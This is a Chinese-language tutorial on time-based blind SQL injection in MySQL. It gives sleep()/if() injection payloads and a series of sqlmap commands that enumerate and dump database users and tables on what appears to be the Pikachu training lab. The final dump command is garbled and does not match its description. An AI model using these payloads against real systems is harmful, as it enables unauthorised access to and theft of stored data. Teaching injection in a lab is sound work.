1时间注入又名延时注入,属于盲注入的一种,通常是某个注入点无法通过布尔型注入获取数据而采用一种突破注入的技巧。 在 mysql 里 函数 sleep() 是延时的意思,sleep(10)就是 数据库延时 10 秒返回内容。判断注入可以使用'and sleep(10) 数据库延时 10 秒返回值 网页响应时间至少要 10 秒 根据这个原理来判断存在SQL 时间注入。
mysql 延时注入用到的函数 sleep() 、if()、substring() select if(2>1,sleep(10),0) 2>1 这个部分就是你注入要构造的 SQL 语句。 select if(length(database())>1,sleep(5),0) 这个就是查询当前库大于 1 就会延时5 秒执行。-1' or if(length(database())>1,sleep(5),0)--+ 可以看到网页是大于五秒返回。根据这个原理n>1 n 不延时就能确定当前数据库的长度了。
因为SQL时间注入比较难获得信息所以我们就用kali里的SQLMAP来获取信息
黑盒注入
打开kali输入sqlma
sqlmap设置具体SQL注入技术
参数 --technique 此参数用于指定检测注入时所用技术。默认情况下Sqlmap会使用自己支持的全部技术进行 检测。 此参数后跟表 示检测技术的大写字母,其值为B、E、U、S、T或Q,含义如下:
B:Boolean-based blind(布尔型注入)
E:Error-based(报错型注入)
U:Union query-based(可联合查询注入)
S:Stacked queries(可多语句查询注入)
T:Time-based blind(基于时间延迟注入)
Q:Inline queries(嵌套查询注入)
-u 表示检测的 url
-p 指定的检测参数
-v 显示调试模式
--technique=T 检测方法为时间注入
(2)输入sqlmap -u "192.168.129.132/06/vul/sqli/sqli_str.php?name=1&submit=1" -p name -v 1 --technique=T
这样我们就得到了数据库的版本和存在什么漏洞了
--current-user 获取用户
--current-db 当前库
--batch 使用默认模式 自动 y
输入sqlmap -u "192.168.129.132/06/vul/sqli/sqli_str.php?name=1&submit=1" -p name -v 1 --technique=T --current-user --current-db --batch
获取数据库名和数据库用户名
(3) 获取表 -D 指定数据库
--tables 获取表
输入sqlmap -u "192.168.129.132/06/vul/sqli/sqli_str.php?name=1&submit=1" -p name -v 1 --technique=T --tables -D pikaCHU --batch
(4)获取字段
在 sqlmap --columns 获取字典
-T 某个表
sqlmap -u "http://192.168.0.134/06/vul/sqli/sqli_blind_t.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -p name -v 1 --technique=T --columns -T users -D pikachu --batch
(5)获得用户名和密码
--dump 导出数据 -C 指定查询的字段
sqlmap -u"192.168.129.132/06/vul/sqli/sqli_str.php?name=1&submit=1" -p name -v 1 --technique=T --columns -T users -D pikachu -batch